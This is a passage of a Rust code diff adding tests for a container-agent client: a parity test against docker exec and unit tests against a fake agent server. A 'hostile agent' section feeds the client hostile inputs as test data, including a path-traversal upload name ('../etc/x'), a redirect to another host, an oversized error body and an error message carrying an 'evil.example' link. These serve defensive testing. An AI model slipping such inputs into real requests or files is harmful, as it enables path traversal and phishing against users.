+        after = a.exec_oneshot(count.clone()).await?;
+        if after.trim() == "0" {
+            break;
+        }
+    }
+    same("tty session ends when its client goes away (sleep count before → after)", ("1".to_string(), "0".to_string()), (before.trim().to_string(), after.trim().to_string()))?;
+
+    // ── detached ─────────────────────────────────────────────────────────────
+    let mut codes = Vec::new();
+    for t in [d, a] {
+        let id = t.exec_detached(ExecSpec::new(sh("sleep 0.3; exit 5"))).await?;
+        codes.push(t.wait_exec_exit(&id).await);
+    }
+    same("detached exit code", codes[0], codes[1])?;
+
+    same("is_running", d.is_running().await?, a.is_running().await?)?;
+    Ok(())
+}
+
+#[tokio::test]
+#[ignore = "needs a Docker daemon and an image whose entrypoint starts triple-c-agent (TRIPLEC_AGENT_E2E_IMAGE)"]
+async fn the_agent_answers_exactly_as_docker_exec_does() {
+    let image = std::env::var("TRIPLEC_AGENT_E2E_IMAGE").unwrap_or_else(|_| "tc-agent-e2e:latest".into());
+    let token = format!("{}{}", uuid::Uuid::new_v4().simple(), uuid::Uuid::new_v4().simple());
+    let name = format!("tc-agent-e2e-{}", uuid::Uuid::new_v4().simple());
+    docker_cli(&[
+        "run", "-d", "--name", &name, "-w", "/workspace",
+        "-e", &format!("TRIPLEC_AGENT_TOKEN={token}"),
+        // Docker forwards a published port to the container's own address,
+        // not its loopback, so the harness binds the agent wide *inside* the
+        // container and publishes it to the host's loopback only.
+        "-e", "TRIPLEC_AGENT_ADDR=0.0.0.0:47900",
+        "-p", "127.0.0.1::47900",
+        &image,
+    ]);
+    let outcome = async {
+        let mapped = docker_cli(&["port", &name, "47900/tcp"]);
+        let port: u16 = mapped.lines().next().and_then(|l| l.rsplit(':').next()).and_then(|p| p.parse().ok())
+            .ok_or_else(|| format!("no published port in {mapped:?}"))?;
+        // Two ways in, because where *this test* runs decides which one routes:
+        // on the host (where the app runs) the published loopback port; from
+        // inside another container on the same daemon, the published port is
+        // on the host's loopback, not ours, but the container's bridge address
+        // is reachable.
+        let ip = docker_cli(&["inspect", "-f", "{{range .NetworkSettings.Networks}}{{.IPAddress}} {{end}}", &name]);
+        let mut candidates = vec![AgentEndpoint::loopback(port, token.clone())];
+        for addr in ip.split_whitespace() {
+            let url = url::Url::parse(&format!("http://{addr}:47900/")).map_err(|e| e.to_string())?;
+            candidates.push(AgentEndpoint::new(url, token.clone())?);
+        }
+        let docker = ContainerTarget::docker(name.clone());
+
+        // The entrypoint starts the agent last, after setup (including a
+        // bounded `claude update`), so health is the readiness signal.
+        let mut agent = None;
+        'wait: for _ in 0..240 {
+            for ep in &candidates {
+                let t = ContainerTarget::Agent(ep.clone());
+                if t.is_running().await.unwrap_or(false) {
+                    agent = Some(t);
+                    break 'wait;
+                }
+            }
+            tokio::time::sleep(Duration::from_millis(500)).await;
+        }
+        let Some(agent) = agent else {
+            return Err(format!("agent never answered on {candidates:?}; logs:\n{}", docker_cli(&["logs", "--tail", "40", &name])));
+        };
+        eprintln!("agent reached at {}", agent.id());
+        parity(&docker, &agent).await
+    }
+    .await;
+    let logs = docker_cli(&["logs", "--tail", "20", &name]);
+    let _ = Command::new("docker").args(["rm", "-f", &name]).output();
+    if let Err(e) = outcome {
+        panic!("{e}\n--- container log tail ---\n{logs}");
+    }
+}

app/src-tauri/src/host/agent/tests.rs

@@ -0,0 +1,673 @@
+//! The agent client against a **fake** agent: a few axum handlers that speak
+//! just enough of the v1 protocol to exercise each client path, and record
+//! what they were sent. It is not the real server (that lives in `agent/`)
+//! and does not try to behave like one beyond the wire shapes.
+
+use super::*;
+use crate::host::{ContainerTarget, OUTPUT_LIMIT_MARKER};
+use axum::extract::ws::{Message as WsMessage, WebSocket, WebSocketUpgrade};
+use axum::extract::{Path, Query, State};
+use axum::http::{HeaderMap, StatusCode};
+use axum::response::{IntoResponse, Response};
+use axum::routing::{get, post, put};
+use axum::{Json, Router};
+use serde_json::{json, Value};
+use std::sync::Arc;
+use tokio::io::AsyncWriteExt;
+
+/// Obviously fake; long enough to be unmistakable in an error string.
+const TOKEN: &str = "fake-agent-token-for-unit-tests-only-0000";
+
+#[derive(Default)]
+struct Seen {
+    auth: Vec<String>,
+    exec_bodies: Vec<Value>,
+    detached_bodies: Vec<Value>,
+    status_polls: u32,
+    resizes: Vec<(String, Value)>,
+    uploads: Vec<(HashMap<String, String>, Vec<u8>)>,
+    attach_hello: Option<Value>,
+    stdin: Vec<u8>,
+    close_stdin: bool,
+}
+
+struct Fake {
+    seen: std::sync::Mutex<Seen>,
+}
+
+type St = State<Arc<Fake>>;
+
+impl Fake {
+    fn authed(&self, h: &HeaderMap) -> bool {
+        let got = h
+            .get("authorization")
+            .and_then(|v| v.to_str().ok())
+            .unwrap_or("")
+            .to_string();
+        let ok = got == format!("Bearer {}", TOKEN);
+        self.seen.lock().unwrap().auth.push(got);
+        ok
+    }
+}
+
+fn unauthorized() -> Response {
+    StatusCode::UNAUTHORIZED.into_response()
+}
+
+fn b64(bytes: &[u8]) -> String {
+    base64::engine::general_purpose::STANDARD.encode(bytes)
+}
+
+async fn exec(State(f): St, h: HeaderMap, Json(body): Json<Value>) -> Response {
+    if !f.authed(&h) {
+        return unauthorized();
+    }
+    f.seen.lock().unwrap().exec_bodies.push(body.clone());
+    match body["cmd"][0].as_str().unwrap_or("") {
+        "sh" => Json(json!({"chunks": [{"s": "out", "d": b64(b"1000\n1001\n")}], "exit_code": 0}))
+            .into_response(),
+        // stdout and stderr interleaved; `ü` split across two stdout chunks;
+        // one byte that is not UTF-8 at all on stderr.
+        "mixed" => Json(json!({
+            "chunks": [
+                {"s": "out", "d": b64(b"first ")},
+                {"s": "err", "d": b64(b"find: /x: denied\n")},
+                {"s": "out", "d": b64(&[0xc3])},
+                {"s": "out", "d": b64(&[0xbc, b'!'])},
+                {"s": "err", "d": b64(&[0xff])},
+            ],
+            "exit_code": 3
+        }))
+        .into_response(),
+        "big" => (
+            StatusCode::PAYLOAD_TOO_LARGE,
+            Json(json!({"error": "OUTPUT_LIMIT: Command output exceeded 5 bytes and was abandoned"})),
+        )
+            .into_response(),
+        _ => (StatusCode::INTERNAL_SERVER_ERROR, Json(json!({"error": "boom"}))).into_response(),
+    }
+}
+
+async fn detached(State(f): St, h: HeaderMap, Json(body): Json<Value>) -> Response {
+    if !f.authed(&h) {
+        return unauthorized();
+    }
+    f.seen.lock().unwrap().detached_bodies.push(body);
+    Json(json!({"exec_id": "d1"})).into_response()
+}
+
+/// `d1` reports running for two polls, then exit 7. Everything else is 404 —
+/// including the attach's `a1`, so an attach's exit can only have come from
+/// the client's own record of the `exit` frame.
+async fn status(State(f): St, h: HeaderMap, Path(id): Path<String>) -> Response {
+    if !f.authed(&h) {
+        return unauthorized();
+    }
+    if id != "d1" {
+        return (StatusCode::NOT_FOUND, Json(json!({"error": "no such exec"}))).into_response();
+    }
+    let mut s = f.seen.lock().unwrap();
+    s.status_polls += 1;
+    if s.status_polls < 3 {
+        Json(json!({"running": true, "exit_code": null})).into_response()
+    } else {
+        Json(json!({"running": false, "exit_code": 7})).into_response()
+    }
+}
+
+async fn resize(State(f): St, h: HeaderMap, Path(id): Path<String>, Json(body): Json<Value>) -> Response {
+    if !f.authed(&h) {
+        return unauthorized();
+    }
+    f.seen.lock().unwrap().resizes.push((id, body));
+    StatusCode::NO_CONTENT.into_response()
+}
+
+async fn files(
+    State(f): St,
+    h: HeaderMap,
+    Query(q): Query<HashMap<String, String>>,
+    body: Bytes,
+) -> Response {
+    if !f.authed(&h) {
+        return unauthorized();
+    }
+    let path = format!("{}/{}", q["dir"], q["name"]);
+    f.seen.lock().unwrap().uploads.push((q, body.to_vec()));
+    Json(json!({"path": path})).into_response()
+}
+
+async fn archive(State(f): St, h: HeaderMap, Query(q): Query<HashMap<String, String>>) -> Response {
+    if !f.authed(&h) {
+        return unauthorized();
+    }
+    if q["path"] == "/missing" {
+        return (StatusCode::NOT_FOUND, Json(json!({"error": "no such path"}))).into_response();
+    }
+    let parts: Vec<Result<Bytes, std::io::Error>> = vec![
+        Ok(Bytes::from_static(b"tar-part-1;")),
+        Ok(Bytes::from_static(b"tar-part-2;")),
+        Ok(Bytes::from(q["path"].clone().into_bytes())),
+    ];
+    axum::body::Body::from_stream(futures_util::stream::iter(parts)).into_response()
+}
+
+async fn health(State(f): St, h: HeaderMap) -> Response {
+    if !f.authed(&h) {
+        return unauthorized();
+    }
+    Json(json!({"agent": "triple-c-agent", "version": "0.0.0-fake", "protocol": 1})).into_response()
+}
+
+async fn attach_ws(State(f): St, h: HeaderMap, ws: WebSocketUpgrade) -> Response {
+    if !f.authed(&h) {
+        return unauthorized();
+    }
+    ws.on_upgrade(move |socket| fake_attach(f, socket))
+}
+
+/// started → stdout, stderr, an unknown channel → collect stdin until
+/// `close_stdin` → echo it on stdout → exit 5 → close.
+async fn fake_attach(f: Arc<Fake>, mut ws: WebSocket) {
+    let Some(Ok(WsMessage::Text(hello))) = ws.recv().await else { return };
+    let hello: Value = serde_json::from_str(hello.as_str()).unwrap();
+    let refuse = hello["cmd"][0] == "nope";
+    f.seen.lock().unwrap().attach_hello = Some(hello);
+    if refuse {
+        let _ = ws
+            .send(WsMessage::Text(r#"{"type":"error","error":"no such user"}"#.into()))
+            .await;
+        return;
+    }
+    let _ = ws
+        .send(WsMessage::Text(r#"{"type":"started","exec_id":"a1"}"#.into()))
+        .await;
+    for frame in [&b"\x01out"[..], b"\x02err", b"\x09odd"] {
+        let _ = ws.send(WsMessage::Binary(Bytes::copy_from_slice(frame))).await;
+    }
+    while let Some(Ok(msg)) = ws.recv().await {
+        match msg {
+            WsMessage::Binary(b) => f.seen.lock().unwrap().stdin.extend_from_slice(&b),
+            WsMessage::Text(t) if t.as_str().contains("close_stdin") => {
+                f.seen.lock().unwrap().close_stdin = true;
+                break;
+            }
+            _ => {}
+        }
+    }
+    let mut echo = vec![1u8];
+    echo.extend_from_slice(&f.seen.lock().unwrap().stdin);
+    let _ = ws.send(WsMessage::Binary(echo.into())).await;
+    let _ = ws.send(WsMessage::Text(r#"{"type":"exit","code":5}"#.into())).await;
+    let _ = ws.close().await;
+}
+
+async fn fake_agent() -> (AgentEndpoint, Arc<Fake>) {
+    let fake = Arc::new(Fake {
+        seen: std::sync::Mutex::new(Seen::default()),
+    });
+    let app = Router::new()
+        .route("/v1/health", get(health))
+        .route("/v1/exec", post(exec))
+        .route("/v1/exec/detached", post(detached))
+        .route("/v1/exec/{id}", get(status))
+        .route("/v1/exec/{id}/resize", post(resize))
+        .route("/v1/files", put(files))
+        .route("/v1/archive", get(archive))
+        .route("/v1/attach", get(attach_ws))
+        .with_state(fake.clone());
+    let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
+    let port = listener.local_addr().unwrap().port();
+    tokio::spawn(async move {
+        axum::serve(listener, app).await.unwrap();
+    });
+    (AgentEndpoint::loopback(port, TOKEN), fake)
+}
+
+fn target(ep: &AgentEndpoint) -> ContainerTarget {
+    ContainerTarget::Agent(ep.clone())
+}
+
+fn cmd(c: &str) -> Vec<String> {
+    vec![c.to_string()]
+}
+
+// ── endpoint ─────────────────────────────────────────────────────────────────
+
+#[test]
+fn the_token_never_appears_in_debug_output() {
+    let ep = AgentEndpoint::loopback(47900, TOKEN);
+    let dbg = format!("{:?} {:?}", ep, ContainerTarget::Agent(ep.clone()));
+    assert!(!dbg.contains(TOKEN), "{}", dbg);
+    assert!(dbg.contains("127.0.0.1:47900"));
+    assert!(dbg.contains("redacted"));
+}
+
+#[test]
+fn an_agent_target_is_identified_by_its_base_url() {
+    let a = ContainerTarget::Agent(AgentEndpoint::loopback(47900, TOKEN));
+    assert_eq!(a.id(), "http://127.0.0.1:47900/");
+    assert_eq!(a, ContainerTarget::Agent(AgentEndpoint::loopback(47900, TOKEN)));
+    assert_ne!(a, ContainerTarget::Agent(AgentEndpoint::loopback(47901, TOKEN)));
+    let mut set = std::collections::HashSet::new();
+    set.insert(a.clone());
+    assert!(set.contains(&a));
+}
+
+#[test]
+fn only_plain_http_endpoints_are_accepted() {
+    let ok = AgentEndpoint::new(url::Url::parse("http://127.0.0.1:1/x").unwrap(), TOKEN).unwrap();
+    assert_eq!(ok.base_url.as_str(), "http://127.0.0.1:1/x/");
+    assert_eq!(ok.url("v1/health").as_str(), "http://127.0.0.1:1/x/v1/health");
+    assert_eq!(ok.ws_url("v1/attach").as_str(), "ws://127.0.0.1:1/x/v1/attach");
+    assert!(AgentEndpoint::new(url::Url::parse("https://h/").unwrap(), TOKEN).is_err());
+    assert!(AgentEndpoint::new(url::Url::parse("file:///tmp").unwrap(), TOKEN).is_err());
+}
+
+// ── auth ─────────────────────────────────────────────────────────────────────
+
+#[tokio::test]
+async fn every_request_carries_the_bearer_token() {
+    let (ep, fake) = fake_agent().await;
+    let t = target(&ep);
+    assert!(t.is_running().await.unwrap());
+    t.exec_oneshot(cmd("sh")).await.unwrap();
+    let auth = fake.seen.lock().unwrap().auth.clone();
+    assert_eq!(auth.len(), 2);
+    assert!(auth.iter().all(|a| a == &format!("Bearer {}", TOKEN)));
+}
+
+#[tokio::test]
+async fn a_wrong_token_is_an_error_that_does_not_carry_any_token() {
+    let (ep, _) = fake_agent().await;
+    let wrong_token = "wrong-fake-token-for-unit-tests-only-1111";
+    let bad = ContainerTarget::Agent(AgentEndpoint::new(ep.base_url.clone(), wrong_token).unwrap());
+
+    let e = bad.exec_oneshot(cmd("sh")).await.unwrap_err();
+    assert!(e.contains("401"), "{}", e);
+    assert!(e.starts_with("Failed to start exec"), "{}", e);
+    let Err(attach_err) = bad.attach(ExecSpec::new(cmd("sh"))).await else {
+        panic!("attach with a wrong token succeeded")
+    };
+    assert!(attach_err.contains("401"), "{}", attach_err);
+    let health_err = bad.is_running().await.unwrap_err();
+    let up_err = bad.upload_bytes("/tmp", "x", b"x", 0o644).await.unwrap_err();
+    for e in [&e, &attach_err, &health_err, &up_err] {
+        assert!(!e.contains(wrong_token) && !e.contains(TOKEN), "{}", e);
+    }
+}
+
+#[tokio::test]
+async fn other_errors_carry_the_agents_message_and_no_token() {
+    let (ep, _) = fake_agent().await;
+    let e = target(&ep).exec_oneshot(cmd("fail")).await.unwrap_err();
+    assert_eq!(e, "Failed to start exec: boom");
+}
+
+// ── one-shot execs ───────────────────────────────────────────────────────────
+
+#[tokio::test]
+async fn every_oneshot_variant_reassembles_what_docker_would_return() {
+    let (ep, fake) = fake_agent().await;
+    let t = target(&ep);
+    // Arrival order, `ü` rejoined across chunks, the stray 0xff lossy.
+    let combined = "first find: /x: denied\nü!\u{fffd}";
+    let env = vec!["K=V".to_string()];
+
+    assert_eq!(t.exec_oneshot(cmd("mixed")).await.unwrap(), combined);
+    assert_eq!(t.exec_oneshot_env(cmd("mixed"), env.clone()).await.unwrap(), combined);
+    assert_eq!(
+        t.exec_oneshot_env_status(cmd("mixed"), env.clone()).await.unwrap(),
+        (combined.to_string(), 3)
+    );
+    assert_eq!(
+        t.exec_oneshot_as("root", cmd("mixed"), env.clone()).await.unwrap(),
+        (combined.to_string(), 3)
+    );
+    assert_eq!(
+        t.exec_oneshot_limited("root", cmd("mixed"), 4096).await.unwrap(),
+        (combined.to_string(), 3)
+    );
+    assert_eq!(
+        t.exec_oneshot_streams_as("root", cmd("mixed"), env.clone()).await.unwrap(),
+        ("first ü!".to_string(), "find: /x: denied\n\u{fffd}".to_string(), 3)
+    );
+
+    let bodies = fake.seen.lock().unwrap().exec_bodies.clone();
+    let max = MAX_ONESHOT_OUTPUT as u64;
+    let expect = [
+        ("claude", json!([]), max),
+        ("claude", json!(["K=V"]), max),
+        ("claude", json!(["K=V"]), max),
+        ("root", json!(["K=V"]), max),
+        ("root", json!([]), 4096),
+        ("root", json!(["K=V"]), max),
+    ];
+    assert_eq!(bodies.len(), expect.len());
+    for (b, (user, env, limit)) in bodies.iter().zip(expect) {
+        assert_eq!(b["user"], user);
+        assert_eq!(b["env"], env);
+        assert_eq!(b["limit"].as_u64(), Some(limit));
+        assert_eq!(b["cmd"], json!(["mixed"]));
+        // Docker's one-shot names no working dir and no tty.
+        assert_eq!(b["working_dir"], Value::Null);
+        assert_eq!(b["tty"], false);
+    }
+}
+
+#[tokio::test]
+async fn an_output_limit_refusal_passes_through_verbatim() {
+    let (ep, _) = fake_agent().await;
+    let e = target(&ep).exec_oneshot_limited("claude", cmd("big"), 5).await.unwrap_err();
+    assert_eq!(e, "OUTPUT_LIMIT: Command output exceeded 5 bytes and was abandoned");
+    assert!(e.starts_with(OUTPUT_LIMIT_MARKER));
+}
+
+#[tokio::test]
+async fn the_client_also_enforces_the_limit_on_what_it_buffers() {
+    // An agent that ignored `limit` still cannot make the client buffer past it.
+    let (ep, _) = fake_agent().await;
+    let e = target(&ep).exec_oneshot_limited("claude", cmd("mixed"), 8).await.unwrap_err();
+    assert!(e.starts_with(OUTPUT_LIMIT_MARKER), "{}", e);
+}
+
+#[tokio::test]
+async fn user_ids_come_from_the_same_probe_as_docker() {
+    let (ep, fake) = fake_agent().await;
+    assert_eq!(target(&ep).user_ids().await, (1000, 1001));
+    let b = fake.seen.lock().unwrap().exec_bodies[0].clone();
+    assert_eq!(b["cmd"], json!(["sh", "-c", "id -u; id -g"]));
+    assert_eq!(b["user"], "claude");
+    assert_eq!(b["limit"], 256);
+}
+
+// ── detached, status, resize ─────────────────────────────────────────────────
+
+#[tokio::test]
+async fn a_detached_exec_is_polled_until_it_reports_its_exit() {
+    let (ep, fake) = fake_agent().await;
+    let t = target(&ep);
+    let spec = ExecSpec::new(cmd("sleep")).user("root").working_dir(None).no_stdin();
+    let id = t.exec_detached(spec).await.unwrap();
+    assert_eq!(id, "d1");
+    assert_eq!(t.wait_exec_exit(&id).await, Some(7));
+    let s = fake.seen.lock().unwrap();
+    assert_eq!(s.status_polls, 3);
+    assert_eq!(s.detached_bodies[0]["user"], "root");
+    assert_eq!(s.detached_bodies[0]["working_dir"], Value::Null);
+    drop(s);
+    assert_eq!(t.wait_exec_exit("unknown").await, None);
+}
+
+#[tokio::test]
+async fn resize_posts_cols_and_rows() {
+    let (ep, fake) = fake_agent().await;
+    target(&ep).resize_exec("a1", 120, 40).await.unwrap();
+    let r = fake.seen.lock().unwrap().resizes.clone();
+    assert_eq!(r, vec![("a1".to_string(), json!({"cols": 120, "rows": 40}))]);
+}
+
+// ── attach ───────────────────────────────────────────────────────────────────
+
+#[tokio::test]
+async fn attach_maps_channels_forwards_stdin_and_ends_on_exit() {
+    let (ep, fake) = fake_agent().await;
+    let t = target(&ep);
+    let spec = ExecSpec::new(cmd("cat")).env(vec!["A=1".into()]).tty(true);
+    let AttachedExec {
+        exec_id,
+        mut output,
+        mut input,
+    } = t.attach(spec).await.unwrap();
+    assert_eq!(exec_id, "a1");
+
+    assert_eq!(output.next().await.unwrap().unwrap(), ExecChunk::StdOut(Bytes::from_static(b"out")));
+    assert_eq!(output.next().await.unwrap().unwrap(), ExecChunk::StdErr(Bytes::from_static(b"err")));
+    assert_eq!(output.next().await.unwrap().unwrap(), ExecChunk::Other(Bytes::from_static(b"odd")));
+
+    input.write_all(b"hello ").await.unwrap();
+    input.write_all(b"agent").await.unwrap();
+    input.shutdown().await.unwrap();
+
+    assert_eq!(
+        output.next().await.unwrap().unwrap(),
+        ExecChunk::StdOut(Bytes::from_static(b"hello agent"))
+    );
+    // The exit frame ends the stream…
+    assert!(output.next().await.is_none());
+    // …and is what answers wait_exec_exit (the fake 404s `a1`).
+    assert_eq!(t.wait_exec_exit(&exec_id).await, Some(5));
+
+    let s = fake.seen.lock().unwrap();
+    assert!(s.close_stdin);
+    assert_eq!(s.stdin, b"hello agent");
+    let hello = s.attach_hello.clone().unwrap();
+    assert_eq!(hello["cmd"], json!(["cat"]));
+    assert_eq!(hello["user"], "claude");
+    assert_eq!(hello["working_dir"], "/workspace");
+    assert_eq!(hello["env"], json!(["A=1"]));
+    assert_eq!(hello["tty"], true);
+    assert_eq!(hello["attach_stdin"], true);
+}
+
+#[tokio::test]
+async fn an_attach_the_agent_refuses_is_an_error() {
+    let (ep, _) = fake_agent().await;
+    let Err(e) = target(&ep).attach(ExecSpec::new(cmd("nope"))).await else {
+        panic!("a refused attach succeeded")
+    };
+    assert_eq!(e, "Failed to start exec: no such user");
+}
+
+// ── files ────────────────────────────────────────────────────────────────────
+
+#[tokio::test]
+async fn uploads_put_the_bytes_with_dir_name_mode_and_owner() {
+    let (ep, fake) = fake_agent().await;
+    let t = target(&ep);
+    assert_eq!(
+        t.upload_bytes_with_ids("/tmp/", "x.txt", b"hi", 0o755, (1000, 1001))
+            .await
+            .unwrap(),
+        "/tmp/x.txt"
+    );
+    assert_eq!(
+        t.upload_bytes("/home/claude/in", "p.tar", b"tar", 0o644).await.unwrap(),
+        "/home/claude/in/p.tar"
+    );
+    // The terminal drop's nested name: Docker's tar entry would land it in the
+    // subdirectory, so the agent is asked for that directory.
+    assert_eq!(
+        t.upload_bytes_with_ids("/tmp", "triple-c-drops/a.txt", b"a", 0o644, (1, 2))
+            .await
+            .unwrap(),
+        "/tmp/triple-c-drops/a.txt"
+    );
+    assert!(t.upload_bytes("/tmp", "../etc/x", b"", 0o644).await.is_err());
+
+    let up = fake.seen.lock().unwrap().uploads.clone();
+    let q = |i: usize, k: &str| up[i].0[k].clone();
+    assert_eq!((q(0, "dir"), q(0, "name"), q(0, "mode")), ("/tmp".into(), "x.txt".into(), "755".into()));
+    assert_eq!((q(0, "uid"), q(0, "gid")), ("1000".into(), "1001".into()));
+    assert_eq!(up[0].1, b"hi");
+    assert_eq!((q(1, "uid"), q(1, "gid"), q(1, "mode")), ("0".into(), "0".into(), "644".into()));
+    assert_eq!((q(2, "dir"), q(2, "name")), ("/tmp/triple-c-drops".into(), "a.txt".into()));
+    assert_eq!(up.len(), 3);
+}
+
+#[tokio::test]
+async fn a_host_file_upload_reads_through_the_shared_checked_reader() {
+    let (ep, fake) = fake_agent().await;
+    let dir = tempfile::tempdir().unwrap();
+    let path = dir.path().join("notes.txt");
+    std::fs::write(&path, b"from the host").unwrap();
+    let path = path.canonicalize().unwrap();
+    let t = target(&ep);
+    let got = t
+        .upload_host_file_with_ids(path.to_str().unwrap(), "/workspace/", "notes.txt", (7, 8))
+        .await
+        .unwrap();
+    assert_eq!(got, "/workspace/notes.txt");
+    // Without ids: resolved through the uid probe first.
+    t.upload_host_file(path.to_str().unwrap(), "/tmp", "n2.txt").await.unwrap();
+
+    let up = fake.seen.lock().unwrap().uploads.clone();
+    assert_eq!(up[0].1, b"from the host");
+    assert_eq!(up[0].0["mode"], "644");
+    assert_eq!((up[0].0["uid"].as_str(), up[0].0["gid"].as_str()), ("7", "8"));
+    assert_eq!((up[1].0["uid"].as_str(), up[1].0["gid"].as_str()), ("1000", "1001"));
+
+    let missing = dir.path().join("gone.txt");
+    let e = t
+        .upload_host_file_with_ids(missing.to_str().unwrap(), "/tmp", "g", (1, 1))
+        .await
+        .unwrap_err();
+    assert!(e.starts_with("Failed to read"), "{}", e);
+}
+
+#[tokio::test]
+async fn an_archive_is_streamed_and_a_missing_path_is_an_error() {
+    let (ep, _) = fake_agent().await;
+    let t = target(&ep);
+    let mut s = t.download_archive("/workspace/a dir");
+    let mut got = Vec::new();
+    while let Some(chunk) = s.next().await {
+        got.extend_from_slice(&chunk.unwrap());
+    }
+    assert_eq!(got, b"tar-part-1;tar-part-2;/workspace/a dir");
+
+    let mut s = t.download_archive("/missing");
+    let e = s.next().await.unwrap().unwrap_err();
+    assert_eq!(e, "Failed to download archive: no such path");
+    assert!(s.next().await.is_none());
+}
+
+// ── state ────────────────────────────────────────────────────────────────────
+
+#[tokio::test]
+async fn is_running_follows_whether_the_agent_answers() {
+    let (ep, _) = fake_agent().await;
+    assert!(target(&ep).is_running().await.unwrap());
+    assert!(!target(&ep).has_exited().await);
+
+    let l = std::net::TcpListener::bind("127.0.0.1:0").unwrap();
+    let port = l.local_addr().unwrap().port();
+    drop(l);
+    let gone = ContainerTarget::Agent(AgentEndpoint::loopback(port, TOKEN));
+    assert!(!gone.is_running().await.unwrap());
+    // Silence is not a positive exit.
+    assert!(!gone.has_exited().await);
+}
+
+// ── a hostile agent ──────────────────────────────────────────────────────────
+// The agent runs inside the container, which is not trusted with the host.
+
+/// Serve `app` on an ephemeral loopback port; return the port.
+async fn serve(app: Router) -> u16 {
+    let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
+    let port = listener.local_addr().unwrap().port();
+    tokio::spawn(async move {
+        axum::serve(listener, app).await.unwrap();
+    });
+    port
+}
+
+#[tokio::test]
+async fn a_redirect_from_the_agent_is_not_followed() {
+    let hits = Arc::new(std::sync::atomic::AtomicUsize::new(0));
+    let elsewhere = {
+        let hits = hits.clone();
+        serve(Router::new().fallback(move || {
+            let hits = hits.clone();
+            async move {
+                hits.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
+                "followed"
+            }
+        }))
+        .await
+    };
+    let to = format!("http://127.0.0.1:{}/anything", elsewhere);
+    let agent = serve(Router::new().fallback(move || {
+        let to = to.clone();
+        async move { (StatusCode::TEMPORARY_REDIRECT, [(axum::http::header::LOCATION, to)]) }
+    }))
+    .await;
+    let t = ContainerTarget::Agent(AgentEndpoint::loopback(agent, TOKEN));
+
+    assert!(t.exec_detached(ExecSpec::new(cmd("true"))).await.is_err());
+    assert!(t.exec_oneshot(cmd("true")).await.is_err());
+    assert!(t.is_running().await.is_err(), "a 3xx health answer is not 'running'");
+    assert_eq!(hits.load(std::sync::atomic::Ordering::SeqCst), 0, "the client followed a redirect");
+}
+
+#[tokio::test]
+async fn an_oversized_error_body_is_neither_buffered_nor_passed_through_whole() {
+    // 8 MiB of error text: past the small-body cap, so it is not even parsed.
+    let huge = serve(Router::new().fallback(|| async {
+        let body = json!({ "error": "x".repeat(8 * 1024 * 1024) });
+        (StatusCode::INTERNAL_SERVER_ERROR, Json(body))
+    }))
+    .await;
+    let e = ContainerTarget::Agent(AgentEndpoint::loopback(huge, TOKEN))
+        .exec_detached(ExecSpec::new(cmd("true")))
+        .await
+        .unwrap_err();
+    assert!(e.len() < 1024, "error was {} bytes", e.len());
+    assert!(e.contains("500"), "{e}");
+
+    // Under the body cap but long: parsed, then cut to the display cap.
+    let long = serve(Router::new().fallback(|| async {
+        let body = json!({ "error": "é".repeat(20 * 1024) });
+        (StatusCode::INTERNAL_SERVER_ERROR, Json(body))
+    }))
+    .await;
+    let e = ContainerTarget::Agent(AgentEndpoint::loopback(long, TOKEN))
+        .exec_detached(ExecSpec::new(cmd("true")))
+        .await
+        .unwrap_err();
+    assert!(e.len() <= 4 * 1024 + 64, "error was {} bytes", e.len());
+    assert!(e.ends_with('…'), "{e}");
+}
+
+#[tokio::test]
+async fn an_agent_that_accepts_and_then_says_nothing_cannot_hang_the_small_calls() {
+    // Accepts every connection, reads nothing, answers nothing, holds it open.
+    let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
+    let port = listener.local_addr().unwrap().port();
+    tokio::spawn(async move {
+        let mut held = Vec::new();
+        while let Ok((sock, _)) = listener.accept().await {
+            held.push(sock);
+        }
+    });
+    let t = ContainerTarget::Agent(AgentEndpoint::loopback(port, TOKEN));
+    let started = std::time::Instant::now();
+    assert!(t.exec_detached(ExecSpec::new(cmd("true"))).await.is_err());
+    assert!(t.resize_exec("abc", 80, 24).await.is_err());
+    assert_eq!(t.wait_exec_exit("abc").await, None);
+    // Three calls, each bounded by SMALL_REQUEST_TIMEOUT (1 s under test).
+    assert!(started.elapsed() < std::time::Duration::from_secs(10), "took {:?}", started.elapsed());
+}
+
+#[test]
+fn a_token_that_cannot_be_a_header_value_is_refused_up_front() {
+    let url = url::Url::parse("http://127.0.0.1:1/").unwrap();
+    for bad in ["", "has space", "new\nline", "tab\there", "ünïcode"] {
+        assert!(AgentEndpoint::new(url.clone(), bad).is_err(), "{bad:?} accepted");
+    }
+    assert!(AgentEndpoint::new(url, TOKEN).is_ok());
+}
+
+#[tokio::test]
+async fn a_413_that_is_not_the_limit_message_is_not_passed_through() {
+    let port = serve(Router::new().fallback(|| async {
+        (StatusCode::PAYLOAD_TOO_LARGE, Json(json!({ "error": "click here: http://evil.example" })))
+    }))
+    .await;
+    let e = ContainerTarget::Agent(AgentEndpoint::loopback(port, TOKEN))
+        .exec_oneshot_limited("claude", cmd("true"), 1000)
+        .await
+        .unwrap_err();
+    assert!(e.starts_with(OUTPUT_LIMIT_MARKER), "{e}");
+    assert!(!e.contains("evil"), "{e}");
+}

app/src-tauri/src/host/lifecycle.rs

@@ -0,0 +1,333 @@
+//! Bringing a project's container into existence, starting, stopping and
+//! removing it — the host-specific half of the project lifecycle commands.
+//!
+//! The commands in `commands/project_commands.rs` keep everything that is the
+//! same on every host: validating the LLM backend config, the Bedrock SSO
+//! check, project status transitions, the project lock, closing terminal
+//! sessions, the auth bridge, marketplace and credential syncs. They ask a
+//! [`ProjectHost`] for the rest. For Docker that is the
+//! find → maybe-snapshot-and-recreate → create → start sequence, which used to
+//! sit inline in `start_project_container_locked` and is moved here unchanged.
+//!
+//! Docker-only operations with no host-neutral meaning — base-image migration,
+//! snapshot sweeps, legacy cleanup at startup — keep calling `crate::docker`
+//! directly; see the boundary test in `host/mod.rs`.
+
+use super::ContainerTarget;
+use crate::docker;
+use crate::models::{AppSettings, Project};
+use crate::models::container_config;
+
+/// The host a project runs on. One variant today; an AWS variant will carry
+/// the connection, region and environment (see the spec's data model).
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub enum ProjectHost {
+    Docker,
+}
+
+/// An agent target is a way *into* a container, not a handle on its
+/// lifecycle: whatever runs the container (ECS, the local harness) stops and
+/// removes it. Reaching here means a caller paired the Docker host with an
+/// agent target, which is a bug to surface, not a panic.
+const AGENT_LIFECYCLE: &str =
